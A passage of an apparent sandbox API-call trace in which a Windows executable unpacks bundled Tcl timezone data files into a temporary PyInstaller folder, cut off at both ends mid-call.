(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.790] GetFileType (hFile=0x10c) returned 0x1 [0040.790] htonl (hostlong=0xed2a5b00) returned 0x5b2aed [0040.790] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fdaed, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.791] htonl (hostlong=0xa8000000) returned 0xa8 [0040.791] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x5448e0 [0040.791] htonl (hostlong=0xa8000000) returned 0xa8 [0040.791] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.791] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.791] htonl (hostlong=0xec000000) returned 0xec [0040.791] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xec) returned 0x550600 [0040.791] htonl (hostlong=0xa8000000) returned 0xa8 [0040.791] htonl (hostlong=0xec000000) returned 0xec [0040.791] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5448e0 | out: hHeap=0x530000) returned 1 [0040.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.791] CloseHandle (hObject=0x10c) returned 1 [0040.791] GetLastError () returned 0x0 [0040.791] SetLastError (dwErrCode=0x0) [0040.791] GetLastError () returned 0x0 [0040.791] SetLastError (dwErrCode=0x0) [0040.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.791] GetFileType (hFile=0x10c) returned 0x1 [0040.791] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.791] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.792] CloseHandle (hObject=0x10c) returned 1 [0040.792] GetLastError () returned 0x0 [0040.792] SetLastError (dwErrCode=0x0) [0040.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.792] GetFileType (hFile=0x10c) returned 0x1 [0040.792] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.792] CloseHandle (hObject=0x10c) returned 1 [0040.792] GetLastError () returned 0x0 [0040.792] SetLastError (dwErrCode=0x0) [0040.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.792] GetFileType (hFile=0x10c) returned 0x1 [0040.792] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.793] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.793] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.793] CloseHandle (hObject=0x10c) returned 1 [0040.793] GetLastError () returned 0x0 [0040.793] SetLastError (dwErrCode=0x0) [0040.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane") returned 71 [0040.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\vientiane"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.793] GetLastError () returned 0x2 [0040.793] SetLastError (dwErrCode=0x2) [0040.793] GetLastError () returned 0x2 [0040.793] SetLastError (dwErrCode=0x2) [0040.793] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane", lpFilePart=0x0) returned 0x46 [0040.793] GetLastError () returned 0x2 [0040.793] SetLastError (dwErrCode=0x2) [0040.793] GetLastError () returned 0x2 [0040.793] SetLastError (dwErrCode=0x2) [0040.793] GetLastError () returned 0x2 [0040.793] SetLastError (dwErrCode=0x2) [0040.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane") returned 71 [0040.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vientiane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\vientiane"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.794] GetFileType (hFile=0x10c) returned 0x1 [0040.794] htonl (hostlong=0xec000000) returned 0xec [0040.794] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.794] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xec, lpOverlapped=0x0) returned 1 [0040.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.795] CloseHandle (hObject=0x10c) returned 1 [0040.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.795] htonl (hostlong=0x30000000) returned 0x30 [0040.795] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.795] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.795] GetFileType (hFile=0x10c) returned 0x1 [0040.795] htonl (hostlong=0x952b5b00) returned 0x5b2b95 [0040.795] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fdb95, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.795] htonl (hostlong=0x18020000) returned 0x218 [0040.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0040.795] htonl (hostlong=0x18020000) returned 0x218 [0040.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.796] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.796] htonl (hostlong=0x15080000) returned 0x815 [0040.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x815) returned 0x55e278 [0040.796] htonl (hostlong=0x18020000) returned 0x218 [0040.796] htonl (hostlong=0x15080000) returned 0x815 [0040.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.796] CloseHandle (hObject=0x10c) returned 1 [0040.796] GetLastError () returned 0x0 [0040.796] SetLastError (dwErrCode=0x0) [0040.796] GetLastError () returned 0x0 [0040.796] SetLastError (dwErrCode=0x0) [0040.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.796] GetFileType (hFile=0x10c) returned 0x1 [0040.796] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.796] CloseHandle (hObject=0x10c) returned 1 [0040.797] GetLastError () returned 0x0 [0040.797] SetLastError (dwErrCode=0x0) [0040.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.797] GetFileType (hFile=0x10c) returned 0x1 [0040.797] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.797] CloseHandle (hObject=0x10c) returned 1 [0040.797] GetLastError () returned 0x0 [0040.797] SetLastError (dwErrCode=0x0) [0040.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.797] GetFileType (hFile=0x10c) returned 0x1 [0040.797] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.798] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.798] CloseHandle (hObject=0x10c) returned 1 [0040.798] GetLastError () returned 0x0 [0040.798] SetLastError (dwErrCode=0x0) [0040.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok") returned 73 [0040.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\vladivostok"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.798] GetLastError () returned 0x2 [0040.798] SetLastError (dwErrCode=0x2) [0040.798] GetLastError () returned 0x2 [0040.798] SetLastError (dwErrCode=0x2) [0040.798] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok", lpFilePart=0x0) returned 0x48 [0040.798] GetLastError () returned 0x2 [0040.798] SetLastError (dwErrCode=0x2) [0040.798] GetLastError () returned 0x2 [0040.798] SetLastError (dwErrCode=0x2) [0040.798] GetLastError () returned 0x2 [0040.798] SetLastError (dwErrCode=0x2) [0040.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok") returned 73 [0040.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Vladivostok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\vladivostok"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.799] GetFileType (hFile=0x10c) returned 0x1 [0040.799] htonl (hostlong=0x15080000) returned 0x815 [0040.799] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.799] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x815, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x815, lpOverlapped=0x0) returned 1 [0040.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.800] CloseHandle (hObject=0x10c) returned 1 [0040.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.800] htonl (hostlong=0x30000000) returned 0x30 [0040.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.800] GetFileType (hFile=0x10c) returned 0x1 [0040.800] htonl (hostlong=0xad2d5b00) returned 0x5b2dad [0040.800] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fddad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.800] htonl (hostlong=0x10020000) returned 0x210 [0040.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x210) returned 0x550600 [0040.800] htonl (hostlong=0x10020000) returned 0x210 [0040.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.800] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.800] htonl (hostlong=0xe080000) returned 0x80e [0040.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80e) returned 0x55e278 [0040.800] htonl (hostlong=0x10020000) returned 0x210 [0040.800] htonl (hostlong=0xe080000) returned 0x80e [0040.800] 